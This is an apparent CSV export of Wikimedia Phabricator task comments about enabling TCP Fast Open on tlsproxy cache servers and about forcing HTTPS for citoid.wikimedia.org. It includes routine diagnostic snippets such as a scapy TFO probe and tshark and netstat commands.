+TFO support has been added to varnish 4.1.3, but yeah for the clusters running 3.x we would either have to patch varnish or switch port 80 to nginx.
+",,,1468254122,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1
+692023,Investigate TCP Fast Open for tlsproxy,"Another thing just occurred to me though - until we switch port 80 to nginx or patch our varnish, we don't have TFO support on port 80 regardless, as varnish doesn't set it on the socket.  It may or may not help much to make the sh switch until then.",,,1468253956,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+691996,Investigate TCP Fast Open for tlsproxy,"I'd like to share keys in the long run, but I think sh for port 80 is the right move for now.  It will also clear up confusion on our TFO success/fail stats in general.  Key sharing for this is very similar to key sharing for TLS session tickets - they'll both need a secure memory-only rotation mechanism for small key data across the global clusters.  We can probably tackle both (later) with some shared coding/infrastructure...",,,1468252797,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+689319,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2430297, @faidon wrote:
+
+> Are the TFO cookies shared across different ports and if so, is the use case you're thinking of the speed up of the initial port 80 -> port 443 redirect?
+
+Yes.
+
+> Isn't that a relatively rare event, especially for new-enough clients that have TFO support (and thus likely HSTS/HSTS preload as well)?
+
+Absolutely. I wasn't thinking of HSTS. Thanks!
+
+",,,1467799799,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+688842,Investigate TCP Fast Open for tlsproxy,"So, first of all, switching port 80 to `sh` isn't a bad option, given that 443 uses `sh`.
+
+That said, what is the use case for using TCP Fast Open for port 80? I would guess that every client that supports TFO support HSTS, and every client that supports HSTS will only hit port 80 ~once in its lifetime (so thus the TFO cookies would not be used ever).
+
+Are the TFO cookies shared across different ports and if so, is the use case you're thinking of the speed up of the initial port 80 -> port 443 redirect? Isn't that a relatively rare event, especially for new-enough clients that have TFO support (and thus likely HSTS/HSTS preload as well)?",,,1467735936,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+688779,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2429857, @gerritbot wrote:
+> Change 297418 had a related patch set uploaded (by Ema):
+> lvs: switch port 80 loadbalancing to sh for cache_ services
+> 
+> [[https://gerrit.wikimedia.org/r/297418]]
+
+Either this ^ or we find a way to share `tcp_fastopen_key` among servers. Clients do change their IP address so sharing the key would have its advantages, but it introduces complexity. @BBlack, @faidon: comments?
+
+",,,1467732841,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+688773,Investigate TCP Fast Open for tlsproxy,"Change 297418 had a related patch set uploaded (by Ema):
+lvs: switch port 80 loadbalancing to sh for cache_ services
+
+[[https://gerrit.wikimedia.org/r/297418]]
+",,,1467732457,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+684160,Investigate TCP Fast Open for tlsproxy,"Change 295925 merged by Ema:
+tlsproxy: document safe/unsafe TFO usage
+
+[[https://gerrit.wikimedia.org/r/295925]]",,,1466779434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+684159,Investigate TCP Fast Open for tlsproxy,"Change 295900 merged by Ema:
+diamond TCP collector: add TFO-related metrics
+
+[[https://gerrit.wikimedia.org/r/295900]]",,,1466779409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+684150,Investigate TCP Fast Open for tlsproxy,"Change 295925 had a related patch set uploaded (by Ema):
+tlsproxy: document safe/unsafe TFO usage
+
+[[https://gerrit.wikimedia.org/r/295925]]
+",,,1466778772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+684039,Investigate TCP Fast Open for tlsproxy,"Change 295900 had a related patch set uploaded (by Ema):
+diamond TCP collector: add TFO-related metrics
+
+[[https://gerrit.wikimedia.org/r/295900]]
+",,,1466769598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+683990,Investigate TCP Fast Open for tlsproxy,"We're currently running with TCP Fast Open enabled on all tlsproxies, limiting the number of concurrent pending TFO requests to 150 to mitigate the risk of Resource Exhaustion Attacks by SYN Flood with Valid Cookies.
+See [[https://gerrit.wikimedia.org/r/#/q/project:operations/puppet+branch:production+topic:tfo,n,z|the relevant commits]].
+
+`netstat -s | grep TCPFastOpen` returns a bunch of TFO-related metrics. `TCPFastOpenPassive` is the number of successful inbound TFO connections, useful to get an idea of client support.  Also, we need to keep an eye on `TCPFastOpenListenOverflow`, which gets incremented when the above mentioned limit of concurrent pending TFO requests is exceeded.",,,1466764163,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+683977,Investigate TCP Fast Open for tlsproxy,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVWB2Za2RMqFRV-4mz8R} [2016-06-24T09:59:28Z] <ema> nginx rolling restart to enable TFO on all tlsproxies (T108827)",,,1466762369,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+683960,Investigate TCP Fast Open for tlsproxy,"Change 295810 merged by Ema:
+tlsproxy: only enable TFO on default_server
+
+[[https://gerrit.wikimedia.org/r/295810]]",,,1466759763,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+683951,Investigate TCP Fast Open for tlsproxy,"Change 295810 had a related patch set uploaded (by Ema):
+tlsproxy: only enable TFO on default_server
+
+[[https://gerrit.wikimedia.org/r/295810]]
+",,,1466759272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+683941,Investigate TCP Fast Open for tlsproxy,"Change 295783 merged by Ema:
+tlsproxy: enable TCP Fast Open
+
+[[https://gerrit.wikimedia.org/r/295783]]",,,1466754088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+683936,Investigate TCP Fast Open for tlsproxy,"Change 295783 had a related patch set uploaded (by Ema):
+tlsproxy: enable TCP Fast Open
+
+[[https://gerrit.wikimedia.org/r/295783]]
+",,,1466753434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+683683,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:
+
+```
+from scapy.all import sr1, IP, TCP
+
+dst = ""en.wikipedia.org""
+dport = 443
+
+res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
+print 'TFO' in dict(res[1].options)
+```
+
+Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.
+
+Also important: to try reproducing the whole 3WHS and establish a connection it's necessary to avoid sending RSTs due to unsolicited SYN/ACK with something like:
+  
+  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
+
+The reason for the resets is that we're crafting a SYN packet with scapy that the kernel is not really aware of. It will get confused upon reception of a SYN/ACK part of an handshake it didn't initiate and reply with an RST. Again, this is not necessary when probing for TFO support with the python snippet above, but good to keep in mind for more advanced tests.",,,1466695464,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+683622,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:
+
+```
+from scapy.all import sr1, IP, TCP
+
+dst = ""en.wikipedia.org""
+dport = 443
+
+res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
+print 'TFO' in dict(res[1].options)
+```
+
+Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.
+
+Also important: your TCP stack will get confused when receiving an unsolicited SYN/ACK.
+  
+  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP",,,1466689899,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+683618,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:
+
+```
+from scapy.all import sr1, IP, TCP
+
+dst = ""en.wikipedia.org""
+dport = 443
+
+res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
+print 'TFO' in dict(res[1].options)
+```
+
+Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.",,,1466689762,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+683064,Investigate TCP Fast Open for tlsproxy,"A few more things tools-wise.
+
+TFO support has been added to curl in version 7.49.0: [[ https://curl.haxx.se/changes.html#7_49_0 | --tcp-fastopen]]. Unfortunately Debian sid ships an older version of curl, I've opened [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=827900 | a bug ]] for that. 
+
+[[https://github.com/flok99/httping|httping]] supports TFO (-F) and it looks like a cool program!
+
+Examples of simple TFO-enabled clients and servers can be found [[https://github.com/catrope/cs244-win13-pa3-tfo|here]] even though they don't build properly. [[https://github.com/catrope/cs244-win13-pa3-tfo/pull/1| Pull request opened]].
+
+`netstat -s | grep -i fastopen` returns some TFO-related stats, but it would be nice to have access to more information! Which cookies are we storing, for which IPs? Any additional info we cached? For example, we sent a SYN with cookie request and got no SYN/ACK back. Perhaps a middlebox swallowed it? Negative responses [[https://tools.ietf.org/html/rfc7413#section-4.1.3.1|must be cached]] so it would be interesting to somehow inspect the current status of cached TFO information.",,,1466609003,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,50,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+682838,Investigate TCP Fast Open for tlsproxy,"Change 295331 merged by Ema:
+tlsproxy: enable client/server TFO support in the kernel
+
+[[https://gerrit.wikimedia.org/r/295331]]",,,1466587022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,50,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+682418,Investigate TCP Fast Open for tlsproxy,"So, here are a few findings so far.
+
+tshark can be used to detect SYN packets with a TFO cookie request:
+
+  tshark -f 'tcp[tcpflags] & tcp-syn != 0' -Y 'tcp.options.experimental==fe:04:f9:89'
+
+The output is something like this (note the last field, TFO=R):
+  88274  20.988901 92.110.255.XXX -> 91.198.174.192 TCP 78 49292→443 [SYN] Seq=0 Win=27200 Len=0 MSS=1360 SACK_PERM=1 TSval=56874279 TSecr=0 WS=128 TFO=R
+
+
+> 3. Is LVS a factor here for TFO compatibility, and does it (or should it) pay attention to the cookies?
+
+It looks like LVS does not interfere with TFO compatibility. I've enabled TFO in chrome and confirmed that the cookie request reached cp3xx properly. 
+
+> 1. Is client-side adoption percentage high enough to matter yet?
+
+TFO support is available on chrome on linux but disabled by default, at least on the version I've tested (47.0.2526.106). It can be enabled under `chrome://flags/`.
+
+I've monitored the SYN packets received by an esams cache node for a little bit (~5 minutes) and my SYN was the only one with TFO. So that might give an initial, partial answer to 1): client-side adoption is very low at the moment, but will grow as soon as clients start enabling the option by default.
+
+Apple-wise, iOS 9 and OS X 10.11 support TFO: https://www.nanog.org/sites/default/files/Paasch_Network_Support.pdf. Also see http://devstreaming.apple.com/videos/wwdc/2015/719ui2k57m/719/719_your_app_and_next_generation_networks.pdf (starting from page 79). 
+
+On Windows, edge supports TCP Fast Open since Windows 10 Preview build 14352 (enabled by default apparently): https://developer.microsoft.com/en-us/microsoft-edge/platform/changelog/desktop/14352/",,,1466507150,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,50,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1
+682403,Investigate TCP Fast Open for tlsproxy,"Change 295331 had a related patch set uploaded (by Ema):
+tlsproxy: enable client/server TFO support in the kernel
+
+[[https://gerrit.wikimedia.org/r/295331]]
+",,,1466504839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,50,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+619665,Investigate TCP Fast Open for tlsproxy,"As of when the caches switch to Linux 4.4.2 kernels (coming soon), they'll have the updates for the real (not experimental) TCP Fast Open IANA option code from [[ https://tools.ietf.org/html/rfc7413 | RFC 7413 ]] ( [[ https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7f9b838b71eb78a27de27a12ca5de8542fac3115 | kernel commit ]] ).  Given that we're still hashing traffic for HTTPS and I don't see us changing that anytime soon, we could probably go ahead and rely on that for now and just do machine local (re-)generation of cookies, too, and later upgrade to cluster-synchronized cookies when if we make a mechanism available for RFC5077 as well.",,,1456756946,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+108632,http://citoid.wikimedia.org/ should force HTTPS,"https://citoid.wikimedia.org/ works great, but unfortunately so does http://citoid.wikimedia.org/ when really it should redirect.",Medium,50.0,1439241964,1459950054.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-2stu42ot7wllu4sdd6e5,task_description,resolved,True,c3,3,True,False,False,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0
+641325,http://citoid.wikimedia.org/ should force HTTPS,"When we moved various *oid to the text cluster as part of the parsoidcache decom, they got forced to HTTPS-only as a side-effect.",,,1459950054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+505791,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526127, @BBlack wrote:
+> If you think we can flip the switch now, I'm all for it.
+
+I gather from this that if we flip the switch we have to do it for all of the services? If so, it'd be prudent not to force it just yet. If we can do it just for Citoid, we'd need to gather more info on the consumers. @Jdforrester-WMF - thoughts? Send an announcement to a magic VE or the wikitech list?
+
+>>! In T108632#1526130, @Jdforrester-WMF wrote:
+> Quite a few gadgets and user scripts out there. This has been the public URL for months and we've encouraged developers to use it. Deprecating it is fine, but removing it all of a sudden would not be very cool.
+
+Yeah, that's why I was asking.
+
+>>! In T108632#1526149, @BBlack wrote:
+> So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.
+
+Hm. The change would involve transforming requests like:
+
+```
+curl 'http://citoid.wikimedia.org/api?search=blah&format=mediawiki'
+```
+
+into:
+
+```
+curl https://en.wikipedia.org/api/rest_v1/data/citation/mediawiki/blah
+```
+
+So, we'd need a rewrite that moves data from the query string into the URL. Pretty tricky. But, we might want to allow RESTBase to accept requests like `https://en.wikipedia.org/api/rest_v1/data/citation?search=blah&format=mediawiki` and then internally redirect it to `https://en.wikipedia.org/api/rest_v1/data/citation/mediawiki/blah`",,,1439286316,,PHID-USER-hxwwywcyzpooynxuo7a2,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+505632,http://citoid.wikimedia.org/ should force HTTPS,">>! In T108632#1526149, @BBlack wrote:
+> So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.
+
+Sounds good.",,,1439249864,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1
+505630,http://citoid.wikimedia.org/ should force HTTPS,"So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`), we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.",,,1439249802,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0
+505629,http://citoid.wikimedia.org/ should force HTTPS,"So long as the mapping is trivial (e.g. `https://citoid.wikimedia.org/foo/bar` becomes `https://en.wikipedia.org/api/v1/citoid/foo/bar`, we can easily support the old URL mapping in the text cluster as well, without keeping parsoidcache itself alive.",,,1439249783,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-2stu42ot7wllu4sdd6e5,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0
